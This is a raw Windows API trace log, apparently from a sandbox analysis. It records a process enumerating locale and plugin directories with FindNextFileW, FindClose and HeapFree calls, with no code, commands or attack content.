	[0186.408] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0186.409] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.409] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0186.410] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.410] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0186.410] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.410] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0186.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.411] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0186.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.411] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0186.412] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.412] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0186.412] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.412] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0186.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.413] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0186.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.413] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0186.414] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.414] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0186.414] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.414] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0186.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.415] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0186.416] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.416] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0186.416] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.416] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0186.417] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.417] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0186.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.418] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0186.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.418] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0186.419] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.419] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0186.420] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.420] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0186.421] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.421] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0186.421] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.421] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0186.421] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.421] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0186.422] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.422] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0186.423] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.423] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0186.423] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.423] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0186.424] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.424] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0186.424] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.424] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0186.425] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.425] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0186.425] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.425] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0186.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.426] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0186.426] FindClose (in: hFindFile=0x4142fd8 | out: hFindFile=0x4142fd8) returned 1
	[0186.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.426] FindNextFileW (in: hFindFile=0x4142e98, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0186.427] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.427] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0186.427] FindClose (in: hFindFile=0x4142998 | out: hFindFile=0x4142998) returned 1
	[0186.427] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.427] FindNextFileW (in: hFindFile=0x4142e98, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0186.427] FindClose (in: hFindFile=0x4142e98 | out: hFindFile=0x4142e98) returned 1
	[0186.427] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.427] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0186.427] FindClose (in: hFindFile=0x4142f58 | out: hFindFile=0x4142f58) returned 1
	[0186.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0186.429] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fss", cAlternateFileName="")) returned 1
	[0186.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.432] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x250574b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x250574b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x250574b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="img", cAlternateFileName="")) returned 1
	[0186.439] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0186.439] FindNextFileW (in: hFindFile=0x41429d8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0186.439] FindClose (in: hFindFile=0x41429d8 | out: hFindFile=0x41429d8) returned 1
	[0186.439] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
